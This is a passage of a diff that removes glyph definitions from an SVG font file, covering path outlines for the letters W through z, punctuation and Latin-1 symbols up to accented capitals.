-                d="M72 1272v162h495v-162h-147q96 -223 189 -446.5t190 -446.5l18 -68q25 92 60.5 183.5t75.5 182.5t82 181t79 178q-25 59 -50.5 117.5t-49.5 118.5h-189v162h496v-162h-137q96 -223 189 -446.5t190 -446.5l18 -68l18 68q96 223 189.5 445.5t187.5 447.5h-131v162h496v-162 h-193q-141 -338 -283.5 -669t-283.5 -669l-362 854l-21 72q-29 -115 -74 -232.5t-98 -234.5t-107.5 -232.5t-101.5 -226.5q-141 338 -283.5 669t-283.5 669h-178z"
-            />
-<glyph
-                unicode="X"
-                horiz-adv-x="1421"
-                d="M72 0v162h153l373 569l-352 541h-174v162h495v-162h-112q57 -90 114.5 -177t114.5 -175l27 -56l26 56l230 352h-113v162h496v-162h-176q-90 -139 -178.5 -277.5t-180.5 -275.5q92 -141 182 -278.5t183 -278.5h170v-162h-496v162h113l-238 366q-8 14 -14 28.5t-15 29.5 l-26 -58q-59 -92 -118.5 -183t-119.5 -183h131v-162h-495z"
-            />
-<glyph
-                unicode="Y"
-                horiz-adv-x="1615"
-                d="M72 1272v162h495v-162h-82q76 -125 150 -250t149 -250l23 -63h2l25 63l294 500h-79v162h495v-162h-207q-106 -180 -211.5 -360.5t-212.5 -360.5v-389h150v-162h-496v162h138v391q-109 180 -214.5 359.5t-211.5 359.5h-207z"
-            />
-<glyph unicode="Z" horiz-adv-x="1288" d="M72 0v164l876 1108h-844v233h170v-71h883v-162l-876 -1108h774v332h162v-496h-1145z" />
-<glyph unicode="[" horiz-adv-x="692" d="M170 -305v1833h393v-166h-223v-1501h223v-166h-393z" />
-<glyph unicode="\" horiz-adv-x="788" d="M0 1507h193q143 -389 284 -773t285 -773h-193q-143 389 -284.5 773t-284.5 773z" />
-<glyph unicode="]" horiz-adv-x="700" d="M121 -139h223v1501h-223v166h393v-1833h-393v166z" />
-<glyph
-                unicode="^"
-                horiz-adv-x="962"
-                d="M229 981q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121z"
-            />
-<glyph unicode="_" horiz-adv-x="1228" d="M205 0v166h819v-166h-819z" />
-<glyph unicode="`" horiz-adv-x="409" d="M-104 1253h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5z" />
-<glyph
-                unicode="a"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM244 385 q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="b"
-                d="M72 0v162h155v1212h-135v162h305v-795q-4 -16 -10 -31.5t-10 -31.5q2 6 23.5 24.5t56.5 37t81 32.5t99 14q86 0 161.5 -31.5t131 -87t87.5 -128t32 -154.5t-32 -155.5t-87.5 -129t-131 -87t-161.5 -31.5q-59 0 -106.5 13t-81 30.5t-52 34t-20.5 22.5v-41v-41h-305z M397 385q0 -100 66.5 -169t173.5 -69q106 0 173 69t67 169q0 102 -67 169t-173 67t-173 -67t-67 -169z"
-            />
-<glyph
-                unicode="c"
-                horiz-adv-x="813"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q76 0 141.5 -23.5t118.5 -64.5v-237h-151v137q-51 23 -109 23q-106 0 -172.5 -67t-66.5 -169q0 -100 66.5 -169t172.5 -69q90 0 154 52l102 -129q-53 -41 -117.5 -64.5t-138.5 -23.5q-86 0 -160.5 31.5t-130 87t-87 128 t-31.5 156.5z"
-            />
-<glyph
-                unicode="d"
-                d="M72 385q0 82 31.5 154.5t87 128t131 87t161.5 31.5q51 0 97.5 -14t81 -32.5t56 -37t25.5 -24.5q-4 16 -10 31.5t-10 31.5v633h-135v162h305v-1374h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 129t-31.5 155.5z M244 385q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="e"
-                horiz-adv-x="921"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q63 0 122 -25.5t105 -70.5t81 -107.5t53 -136.5q-139 -51 -277.5 -102t-277.5 -102q31 -43 81 -69t113 -26q94 0 156 66l104 -123q-51 -51 -116.5 -79.5t-143.5 -28.5q-86 0 -160.5 31.5t-130 87t-87 128t-31.5 156.5z M242 401q96 35 191 71t192 71q-29 35 -65 56.5t-79 21.5q-104 0 -169.5 -62.5t-69.5 -157.5z"
-            />
-<glyph
-                unicode="f"
-                horiz-adv-x="688"
-                d="M72 0v162h125v440h-125v166h123v291q0 115 37.5 203t103 148t157 92t195.5 36v-162q-141 -8 -232 -90t-91 -233v-285h241v-166h-241v-440h161v-162h-454z"
-            />
-<glyph
-                unicode="g"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h297v-162h-156v-729q0 -82 -32 -152.5t-87 -123t-129 -83t-160 -30.5q-92 0 -178 40t-147 83l112 139q41 -31 95.5 -58.5t113.5 -27.5q53 0 97.5 18.5 t77 50t50 76t17.5 95.5v137q4 8 8 17.5t8 19.5q-6 -10 -26.5 -25.5t-53 -31t-76.5 -26.5t-100 -11q-86 0 -161.5 31.5t-131 86t-87 127t-31.5 154.5zM244 385q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="h"
-                horiz-adv-x="1187"
-                d="M72 0v162h155v1212h-155v162h325v-872l-6 -93q45 100 131 154.5t203 60.5q121 0 190.5 -63.5t73.5 -165.5v-395h127v-162h-454v162h157v317q-4 55 -40 95t-113 44q-53 0 -101.5 -18t-85.5 -51t-59.5 -78t-22.5 -98v-211h129v-162h-454z"
-            />
-<glyph
-                unicode="i"
-                horiz-adv-x="598"
-                d="M72 0v162h143v444h-143v162h313v-606h141v-162h-454zM197 1065q0 47 32.5 78t73.5 31q39 0 72 -31t33 -78t-33 -77t-72 -30q-41 0 -73.5 30t-32.5 77z"
-            />
-<glyph
-                unicode="j"
-                horiz-adv-x="434"
-                d="M72 606v162h290v-768q0 -125 -43 -218t-120 -153l-117 127q53 41 82 102.5t29 147.5v600h-121zM178 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="k"
-                horiz-adv-x="1079"
-                d="M72 0v162h155v1212h-135v162h305v-1104l187 174h-76v162h412v-162h-127q-45 -41 -88 -84t-89 -84q49 -70 99.5 -138.5t101.5 -137.5h191v-162h-412v162h22q-31 41 -61.5 83t-58.5 83l-101 -95v-71h129v-162h-454z"
-            />
-<glyph unicode="l" horiz-adv-x="598" d="M72 0v162h155v1212h-135v162h305v-1374h129v-162h-454z" />
-<glyph
-                unicode="m"
-                horiz-adv-x="1781"
-                d="M72 0v162h155v444h-135v162h285v-18q4 -49 7 -89t7 -90q43 98 130 154.5t204 60.5q113 0 181.5 -56t80.5 -148q45 94 131 147t199 57q121 0 190.5 -63.5t73.5 -165.5v-395h129v-162h-455v162h156v317q-4 55 -40 95t-114 44q-53 0 -101 -18t-85 -51t-59.5 -78t-22.5 -98 v-211h129v-162h-454v162h155v317q-4 55 -40 95t-113 44q-53 0 -101.5 -18t-85.5 -51t-59.5 -78t-22.5 -98v-211h129v-162h-454z"
-            />
-<glyph
-                unicode="n"
-                horiz-adv-x="1187"
-                d="M72 0v162h155v444h-135v162h285v-18q4 -49 7 -89t7 -90q41 98 132 156.5t202 58.5q121 0 190.5 -63.5t73.5 -165.5v-395h127v-162h-454v162h157v317q-4 55 -40 95t-113 44q-53 0 -101.5 -18t-85.5 -51t-59.5 -78t-22.5 -98v-211h129v-162h-454z"
-            />
-<glyph
-                unicode="o"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5t162 -31.5t131 -86t87 -128t32 -155.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5t-160.5 31.5t-130 87t-87 128t-31.5 156.5zM242 383q0 -49 18.5 -92t50 -75t74.5 -50.5t92 -18.5t92 18.5t76 50.5t51.5 75 t18.5 92t-18.5 92t-51.5 76t-76 51.5t-92 18.5t-92 -18.5t-74.5 -51.5t-50 -76t-18.5 -92z"
-            />
-<glyph
-                unicode="p"
-                horiz-adv-x="1122"
-                d="M72 606v162h299q0 -23 2 -48.5t6 -47.5q2 6 23.5 25.5t56.5 39t81 34.5t99 15q86 0 162 -31.5t131 -87t87 -128t32 -154.5t-32 -155.5t-87 -129t-131 -87t-162 -31.5q-57 0 -102 12t-78 28.5t-52.5 32t-25.5 23.5q4 -10 9 -19.5t9 -19.5v-389h148v-162h-455v162h137v956 h-157zM399 385q0 -100 66.5 -169t173.5 -69q106 0 173 69t67 169q0 102 -67 169t-173 67t-173 -67t-67 -169z"
-            />
-<glyph
-                unicode="q"
-                horiz-adv-x="1128"
-                d="M72 385q0 82 31.5 154.5t87 128t131 87t161.5 31.5q53 0 99.5 -15t81 -34.5t55 -39t24.5 -25.5q0 23 4.5 47t4.5 49h305v-162h-164v-956h129v-162h-455v162h156v389q4 10 9 19.5t9 19.5q-6 -8 -26.5 -23.5t-53 -32t-77.5 -28.5t-101 -12q-86 0 -161.5 31.5t-131 87 t-87 129t-31.5 155.5zM244 385q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="r"
-                horiz-adv-x="757"
-                d="M72 0v162h155v444h-135v162h285v-18q4 -49 7 -89t7 -90q25 51 63 91t79.5 68t81.5 42t71 14l-12 -168q-125 0 -201 -69.5t-76 -175.5v-211h129v-162h-454z"
-            />
-<glyph
-                unicode="s"
-                horiz-adv-x="679"
-                d="M96 68v178h152v-80q25 -10 48 -13t58 -3q2 0 15.5 1t30 8t29.5 21.5t15 42.5q2 37 -20.5 56.5t-58 33t-78.5 26.5t-81 36.5t-62.5 66.5t-24.5 115q0 63 24.5 106.5t61.5 71t80 39.5t77 12q20 0 50 -4t61 -14t60.5 -26.5t52.5 -41.5v-178h-152v88q-31 10 -61 11 q-45 0 -65.5 -19.5t-16.5 -52.5q4 -25 30.5 -40t62.5 -29.5t77 -33t75.5 -46t57 -69.5t22.5 -106q0 -29 -11 -69.5t-39.5 -79.5t-80 -65.5t-133.5 -26.5q-76 0 -145.5 19.5t-110.5 64.5z"
-            />
-<glyph unicode="t" horiz-adv-x="686" d="M72 602v166h172v500h170v-500h200v-166h-200v-440h153v-162h-323v602h-172z" />
-<glyph
-                unicode="u"
-                horiz-adv-x="1167"
-                d="M72 606v162h305v-479q4 -55 40 -95t113 -44q53 0 101.5 18t85.5 51t59.5 78t22.5 98v211h-135v162h305v-625h127v-143h-297v104l6 93q-41 -98 -132 -156.5t-202 -58.5q-121 0 -190.5 63.5t-73.5 165.5v395h-135z"
-            />
-<glyph
-                unicode="v"
-                horiz-adv-x="1196"
-                d="M72 606v162h454v-162h-106q53 -90 102 -180t78 -180q29 90 77 180t101 180h-123v162h469v-162h-170q-88 -166 -177 -327.5t-177 -325.5q-90 164 -178 326.5t-178 326.5h-172z"
-            />
-<glyph
-                unicode="w"
-                horiz-adv-x="1699"
-                d="M72 606v162h424v-162h-72q45 -90 88 -179t74 -181q23 70 54.5 136.5t64.5 133.5q10 23 21 45.5t22 44.5h-105v162h455v-162h-117q45 -90 88 -179t74 -181q31 92 72.5 181t89.5 179h-115v162h438v-162h-155q-82 -166 -165 -327.5t-165 -325.5l-279 551l-278 -551 q-84 164 -166 326.5t-166 326.5h-182z"
-            />
-<glyph
-                unicode="x"
-                horiz-adv-x="1077"
-                d="M72 0v162h157q47 63 93.5 125.5t93.5 126.5q-35 47 -71 96t-71 96h-202v162h454v-162h-47l88 -121l86 121h-55v162h408v-162h-150l-182 -252q35 -49 70.5 -97t72.5 -95h189v-162h-455v162h51q-23 29 -42 55.5t-40 54.5q-20 -29 -40.5 -55.5t-41.5 -54.5h41v-162h-407z "
-            />
-<glyph
-                unicode="y"
-                horiz-adv-x="1263"
-                d="M72 606v162h454v-162h-108q59 -113 118.5 -226.5t98.5 -227.5q39 115 97.5 228.5t117.5 225.5h-127v162h469v-162h-168q-121 -242 -240.5 -478.5t-240.5 -477.5h100v-162h-455v162h185q43 88 87 176t89 174q-78 154 -152.5 303.5t-152.5 302.5h-172z"
-            />
-<glyph
-                unicode="z"
-                horiz-adv-x="890"
-                d="M72 0v166q63 57 119.5 111.5t110.5 107.5t109.5 108.5t120.5 112.5h-436v234h152v-72h524v-166q-66 -57 -121 -111.5t-109.5 -107.5t-110.5 -106.5t-120 -110.5h357v117h151v-283h-747z"
-            />
-<glyph
-                unicode="{"
-                horiz-adv-x="655"
-                d="M61 524v166q49 2 81 30t50.5 68.5t24.5 89t6 89.5v319q0 94 19.5 144.5t52.5 72t77 23.5t93 2h129v-166h-90q-31 0 -51.5 -8t-32.5 -32t-17.5 -64.5t-5.5 -106.5v-264q0 -63 -13 -109.5t-33.5 -79t-43 -54t-43.5 -34.5q20 -12 43 -33.5t43.5 -55.5t33.5 -79t13 -106v-264 q0 -66 5.5 -108t17.5 -64.5t32.5 -30.5t51.5 -8h90v-166h-129q-47 0 -91 2t-78 23.5t-53.5 70.5t-19.5 146v311q0 41 -6 89t-24.5 89t-50.5 68.5t-81 29.5z"
-            />
-<glyph unicode="|" horiz-adv-x="555" d="M186 -475v1909h172v-1909h-172z" />
-<glyph
-                unicode="}"
-                horiz-adv-x="655"
-                d="M61 -139h91q31 0 51 8t32.5 30.5t17.5 64.5t5 108v264q0 61 13.5 107t34 79t44 54.5t41.5 33.5q-20 12 -43.5 34t-43 54.5t-33 78.5t-13.5 110v264q0 66 -5 106.5t-17.5 64.5t-33 32t-50.5 8h-91v166h129q47 0 91.5 -2t78 -23.5t53 -71t19.5 -145.5v-319q0 -41 7 -89.5 t24.5 -89t49.5 -68.5t81 -30v-166q-49 -2 -81 -29.5t-49.5 -68.5t-24.5 -89t-7 -89v-311q0 -96 -19.5 -145.5t-52 -71t-76.5 -23.5t-94 -2h-129v166z"
-            />
-<glyph
-                unicode="~"
-                horiz-adv-x="1001"
-                d="M248 950q2 41 20.5 75t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43t51.5 -10q14 0 32 4t34 14t27.5 28.5t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5z "
-            />
-<glyph
-                unicode="&#xa1;"
-                horiz-adv-x="409"
-                d="M98 997q0 -47 33 -76.5t74 -29.5q39 0 71.5 29.5t32.5 76.5t-32.5 78t-71.5 31q-41 0 -74 -30.5t-33 -78.5zM119 -430h170v1196h-170v-1196z"
-            />
-<glyph
-                unicode="&#xa2;"
-                horiz-adv-x="788"
-                d="M74 385q0 68 21.5 129t60.5 112.5t93 88.5t118 55v127h172v-115q59 -6 110 -28.5t94 -55.5l-2 -2v-59v-176h-151v137q-12 6 -24.5 9t-26.5 7v-462q27 6 52.5 18.5t45.5 28.5l102 -129q-45 -35 -92 -54.5t-108 -29.5v-125h-172v139q-63 18 -117.5 55t-93.5 87.5 t-60.5 112.5t-21.5 130zM244 385q0 -70 32.5 -125t90.5 -86v418q-57 -29 -90 -83t-33 -124z"
-            />
-<glyph
-                unicode="&#xa3;"
-                horiz-adv-x="1175"
-                d="M59 0v166h91q33 0 53 7t32.5 29.5t16.5 62.5t4 106v188h-133v166h133v299q0 141 119 207.5t334 66.5q137 0 219 -61t123 -143l-129 -76q-10 14 -23.5 33.5t-36 38t-59.5 31t-94 12.5q-139 0 -210 -29t-71 -125v-254h240v-166h-240v-225q0 -59 -5 -99t-38 -69h563v196 q43 0 86 1.5t86 1.5v-365h-1061z"
-            />
-<glyph
-                unicode="&#xa4;"
-                horiz-adv-x="1024"
-                d="M174 522l49 49q-45 78 -45 168q0 45 11.5 85t31.5 75q-12 12 -23.5 24.5t-23.5 24.5l121 121l49 -49q39 18 78 30.5t84 12.5t86 -11.5t78 -31.5l49 49l121 -121l-45 -45q45 -78 45 -164q0 -90 -47 -166l49 -49l-121 -121q-14 12 -26.5 25.5t-26.5 26.5q-72 -41 -162 -41 q-86 0 -160 39l-51 -52zM350 737q0 -66 46 -111.5t112 -45.5q33 0 62.5 12t51 33.5t34 50.5t12.5 61q0 66 -47.5 113t-112.5 47q-33 0 -61.5 -12.5t-50 -34t-34 -51t-12.5 -62.5z"
-            />
-<glyph
-                unicode="&#xa5;"
-                horiz-adv-x="1306"
-                d="M27 1272v162h495v-162h-82q76 -125 150 -250t149 -250l23 -63h2l24 63l295 500h-79v162h495v-162h-207q-84 -143 -166 -284.5t-168 -282.5h148v-166h-238v-56v-112h240v-166h-240v-43h150v-162h-496v162h137v43h-235v166h235v168h-235v166h145l-336 567h-206z"
-            />
-<glyph unicode="&#xa6;" horiz-adv-x="440" d="M141 240h172v-717h-172v717zM141 717v717h172v-717h-172z" />
-<glyph
-                unicode="&#xa7;"
-                horiz-adv-x="1024"
-                d="M240 733q0 51 16 101.5t48 90.5t79 66.5t109 32.5q-29 43 -53.5 87t-44 86t-31 78t-11.5 60q0 43 24.5 75t60.5 57.5t79 48t80 45.5q23 -35 43 -72t43 -72l-80 -45q-27 -16 -40 -32.5t-13 -39.5q2 -20 12 -46.5t33 -65.5l184 -305q41 -68 41 -152q0 -53 -17.5 -101 t-50 -88t-79.5 -68t-109 -36q59 -92 102.5 -178t43.5 -137q0 -43 -23.5 -76t-60.5 -58.5t-79 -47t-79 -43.5q-23 35 -43.5 71.5t-42.5 71.5l80 47q23 14 36 28.5t13 37.5q0 43 -66 149q-57 90 -88.5 143.5t-48 81t-20.5 36.5t-4 14q-43 70 -43 155zM397 737q0 -55 38 -93 t93 -38q53 0 92 38t39 93q0 53 -37.5 92t-93.5 39q-53 0 -92 -38t-39 -93z"
-            />
-<glyph
-                unicode="&#xa8;"
-                horiz-adv-x="757"
-                d="M100 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM440 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xa9;"
-                horiz-adv-x="1624"
-                d="M281 762q0 117 43 215t115.5 170t171 111.5t208.5 39.5q111 0 209 -39.5t171 -111.5t116 -170t43 -215q0 -115 -43 -212t-116 -169t-171 -113t-209 -41t-209 41t-170.5 113t-115.5 169t-43 212zM362 762q0 -98 35 -182t96.5 -145.5t145.5 -96.5t180 -35t180 35 t145.5 96.5t96.5 145.5t35 182q0 100 -35 184t-96.5 145.5t-145.5 96.5t-180 35t-180 -35t-145.5 -96.5t-96.5 -145.5t-35 -184zM526 768q0 70 26 130t71 105.5t105 71t128 25.5q90 0 170 -45v-105h-74v58q-47 20 -96 20q-53 0 -99 -20.5t-80 -56.5t-54.5 -83t-20.5 -100 t20.5 -100t54.5 -82t80 -55.5t99 -20.5q70 0 127 35l41 -62q-37 -23 -79 -35t-89 -12q-68 0 -128 26.5t-105 72t-71 105.5t-26 128z"
-            />
-<glyph
-                unicode="&#xaa;"
-                horiz-adv-x="1198"
-                d="M170 903q0 57 23.5 110.5t63.5 93.5t94.5 63.5t115.5 23.5q41 0 74.5 -12.5t58.5 -25.5t40 -26.5t15 -17.5q0 16 3.5 33.5t3.5 34.5h102v-437h110v-116h-219v28v31q-2 -4 -15 -16.5t-37.5 -24.5t-58.5 -21.5t-77 -9.5q-61 0 -115.5 22.5t-94.5 62.5t-63.5 92.5 t-23.5 111.5zM295 905q0 -74 48 -123t124 -49q78 0 126 49t48 123t-48 122t-126 48q-76 0 -124 -48t-48 -122z"
-            />
-<glyph
-                unicode="&#xab;"
-                horiz-adv-x="1230"
-                d="M240 489q88 84 175 165t175 165v-194q-35 -35 -66.5 -68t-66.5 -68q35 -35 66.5 -68.5t66.5 -68.5v-194zM590 489q88 84 175 165t175 165v-192q-35 -35 -66.5 -69t-66.5 -69q35 -35 66.5 -68.5t66.5 -68.5v-194z"
-            />
-<glyph unicode="&#xac;" horiz-adv-x="1144" d="M205 385v123h737v-205h-172v82h-565z" />
-<glyph unicode="&#xad;" horiz-adv-x="614" d="M109 301v166h376v-166h-376z" />
-<glyph
-                unicode="&#xae;"
-                horiz-adv-x="1640"
-                d="M281 762q0 117 43 215t115.5 170t171 111.5t208.5 39.5q111 0 209 -39.5t171 -111.5t116 -170t43 -215q0 -115 -43 -212t-116 -169t-171 -113t-209 -41t-209 41t-170.5 113t-115.5 169t-43 212zM362 762q0 -98 35 -182t96.5 -145.5t145.5 -96.5t180 -35t180 35 t145.5 96.5t96.5 145.5t35 182q0 100 -35 184t-96.5 145.5t-145.5 96.5t-180 35t-180 -35t-145.5 -96.5t-96.5 -145.5t-35 -184zM635 430v76h43v526h-43v76h203q33 0 72.5 -10.5t75.5 -33t59.5 -57t23.5 -83.5q0 -72 -37 -121t-106 -66l108 -231h90v-76h-141l-141 303h-43 h-41v-227h110v-76h-233zM758 809h86q43 0 70.5 11t44 27.5t22.5 37t6 39.5q0 43 -41 75.5t-102 32.5h-86v-223z"
-            />
-<glyph unicode="&#xaf;" horiz-adv-x="817" d="M174 979v108h471v-108h-471z" />
-<glyph
-                unicode="&#xb0;"
-                horiz-adv-x="577"
-                d="M74 1147q0 43 16 80t44 64.5t67 44t82 16.5t79.5 -16.5t64.5 -44t44 -64.5t16 -80t-16 -81t-44 -65.5t-64.5 -43t-79.5 -15.5t-82 15.5t-67 43t-44 65.5t-16 81zM184 1145q0 -41 29 -69.5t70 -28.5t70.5 28.5t29.5 69.5t-29.5 70.5t-70.5 29.5t-70 -29.5t-29 -70.5z"
-            />
-<glyph unicode="&#xb1;" horiz-adv-x="1073" d="M176 205v166h737v-166h-737zM176 717v166h283v286h172v-286h282v-166h-282v-285h-172v285h-283z" />
-<glyph
-                unicode="&#xb2;"
-                horiz-adv-x="815"
-                d="M205 1229q0 39 13 76.5t40 66.5t67 45.5t91 16.5q47 0 85 -17.5t65.5 -46.5t42 -66.5t14.5 -80.5q0 -49 -17.5 -96.5t-46.5 -94.5t-65.5 -92t-77.5 -90h166v94h80v-176h-449l121.5 121.5t103.5 114t73 107.5t28 99q0 39 -12.5 64.5t-31 43t-40 26t-39.5 8.5 q-39 0 -63.5 -13.5t-38 -33t-19.5 -40t-6 -36.5q0 -35 10 -60.5t29 -46.5l-49 -51q-18 12 -32 30.5t-23 40t-14 44t-5 43.5z"
-            />
-<glyph
-                unicode="&#xb3;"
-                horiz-adv-x="858"
-                d="M158 842l61 57q18 -23 44 -35t56 -12q29 0 53.5 11t43 29.5t30 43.5t11.5 53q0 29 -11.5 53.5t-30 43t-43 28.5t-53.5 10q-36 0 -65 -16l141 244h-112v-47h-80v129h332l-144 -240q33 -12 60.5 -31.5t47 -46t31 -58.5t11.5 -69q0 -45 -17.5 -85t-48.5 -69.5t-70.5 -47 t-85.5 -17.5q-49 0 -90 19.5t-71 52.5z"
-            />
-<glyph unicode="&#xb4;" horiz-adv-x="561" d="M205 981q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z" />
-<glyph
-                unicode="&#xb5;"
-                horiz-adv-x="1116"
-                d="M33 606v162h305v-479q4 -55 40 -95t114 -44q53 0 101 18t85 51t59.5 78t22.5 98v211h-135v162h305v-625h127v-143h-297v104l6 93q-41 -98 -132 -156.5t-202 -58.5q-51 0 -94 12v-406h-170v1018h-135z"
-            />
-<glyph
-                unicode="&#xb6;"
-                d="M78 1200q0 70 25.5 131.5t70.5 106.5t106.5 71.5t131.5 26.5h645v-143h-142v-1250h142v-143h-312v1393h-163v-1393h-170v866q-70 0 -131.5 26t-106.5 71t-70.5 106t-25.5 131z"
-            />
-<glyph unicode="&#xb7;" horiz-adv-x="344" d="M70 577q0 47 32.5 78t73.5 31q39 0 72 -30.5t33 -78.5q0 -47 -33 -76.5t-72 -29.5q-41 0 -73.5 29.5t-32.5 76.5z" />
-<glyph
-                unicode="&#xb8;"
-                horiz-adv-x="925"
-                d="M217 -358q23 12 47.5 24t46.5 25q10 -33 37 -54.5t68 -21.5q49 0 75.5 33t26.5 82q0 41 -22.5 64.5t-48 42t-48 39t-22.5 54.5v70h104v-14q0 -29 8.5 -46.5t21.5 -28.5t28.5 -18.5t27.5 -17.5q43 -33 60.5 -74t17.5 -92q0 -43 -13.5 -83t-41 -70.5t-67.5 -49t-93 -18.5 q-70 0 -128 38t-85 116z"
-            />
-<glyph unicode="&#xb9;" horiz-adv-x="559" d="M109 821v74h73v463h-63v76h143v-539h74v-74h-227z" />
-<glyph
-                unicode="&#xba;"
-                horiz-adv-x="960"
-                d="M184 905q0 57 23.5 110.5t63.5 93.5t93.5 62.5t114.5 22.5q63 0 117.5 -22.5t94.5 -62.5t62.5 -93t22.5 -111q0 -61 -22.5 -113.5t-62.5 -92.5t-94 -62.5t-118 -22.5q-61 0 -114.5 22.5t-93.5 62.5t-63.5 92.5t-23.5 113.5zM307 903q0 -35 13.5 -66.5t36 -54t54 -36 t66.5 -13.5t66.5 13.5t55.5 36t37 54t13 66.5t-13 65.5t-37 55.5t-55.5 38t-66.5 13t-66.5 -13t-54 -38t-36 -55.5t-13.5 -65.5z"
-            />
-<glyph
-                unicode="&#xbb;"
-                horiz-adv-x="1230"
-                d="M240 158l350 331q-88 84 -175 165t-175 165v-192q35 -35 66.5 -69t66.5 -69q-35 -35 -66.5 -68.5t-66.5 -68.5v-194zM590 158l350 331q-88 84 -175 165t-175 165v-194q35 -35 66.5 -68t66.5 -68q-35 -35 -66.5 -68.5t-66.5 -68.5v-194z"
-            />
-<glyph
-                unicode="&#xbc;"
-                horiz-adv-x="1982"
-                d="M231 479v115h115v713h-98v116h221v-829h115v-115h-353zM524 -39q143 389 284.5 773t285.5 773h172q-143 -389 -284.5 -773t-285.5 -773h-172zM1026 279l557 725v-601h148v-124h-148v-158h127v-121h-369v121h115v158h-430zM1282 403h174v228z"
-            />
-<glyph
-                unicode="&#xbd;"
-                horiz-adv-x="2189"
-                d="M231 479v115h115v713h-98v116h221v-829h115v-115h-353zM524 -39q143 389 284.5 773t285.5 773h172q-143 -389 -284.5 -773t-285.5 -773h-172zM1108 662q0 57 19.5 111t58.5 95t95 64.5t130 23.5q68 0 123 -24.5t94 -66.5t60.5 -96t21.5 -116q0 -72 -25.5 -139.5 t-66.5 -134t-94.5 -131.5t-112.5 -131h238v135h114v-252h-641q88 90 173 175t149.5 164t104.5 153.5t40 144.5q0 53 -17.5 91t-45 62.5t-58 37t-57.5 12.5q-55 0 -90 -19.5t-55.5 -47.5t-27.5 -58.5t-7 -52.5q0 -47 14.5 -85t40.5 -67l-72 -74q-25 16 -44 43t-33.5 57.5 t-21.5 63.5t-7 62z"
-            />
-<glyph
-                unicode="&#xbe;"
-                horiz-adv-x="2613"
-                d="M285 520l96 90q29 -35 68.5 -55t87.5 -20q45 0 83.5 17t67.5 47t46.5 69t17.5 84q0 43 -17.5 81.5t-46.5 67.5t-67.5 45.5t-83.5 16.5q-58 0 -103 -27l221 383h-176v-74h-125v205h520l-227 -377q53 -20 96 -51t75 -72t49.5 -91t17.5 -107q0 -72 -28 -134.5t-76 -109.5 t-110.5 -73.5t-133.5 -26.5q-76 0 -140.5 30.5t-111.5 81.5zM913 -39q143 389 284.5 773t285.5 773h172q-143 -389 -284.5 -773t-285.5 -773h-172zM1434 279l557 725v-601h147v-124h-147v-158h127v-121h-369v121h115v158h-430zM1690 403h174v228z"
-            />
-<glyph
-                unicode="&#xbf;"
-                horiz-adv-x="925"
-                d="M63 4q0 115 54.5 200t146.5 155q29 20 61.5 41.5t61 49t47 65.5t18.5 93v160h172v-199q0 -66 -20.5 -106.5t-55 -72t-77.5 -59.5t-91 -65q-74 -55 -108.5 -120.5t-34.5 -141.5q0 -100 62.5 -166.5t164.5 -66.5q115 0 172.5 51.5t88.5 151.5q37 -14 74.5 -27.5t74.5 -28.5 q-14 -45 -41 -99t-74 -101.5t-118.5 -80t-176.5 -32.5q-84 0 -157.5 31.5t-128 86t-85 127t-30.5 154.5zM436 998q0 47 32.5 76.5t71.5 29.5q41 0 74 -29.5t33 -76.5t-33 -78t-74 -31q-39 0 -71.5 30.5t-32.5 78.5z"
-            />
-<glyph
-                unicode="&#xc0;"
-                horiz-adv-x="1613"
-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM502 1808h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5zM651 729h312 l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117q-20 -49 -42.5 -106.5t-41.5 -102.5z"
-            />
-<glyph
-                unicode="&#xc1;"
-                horiz-adv-x="1613"
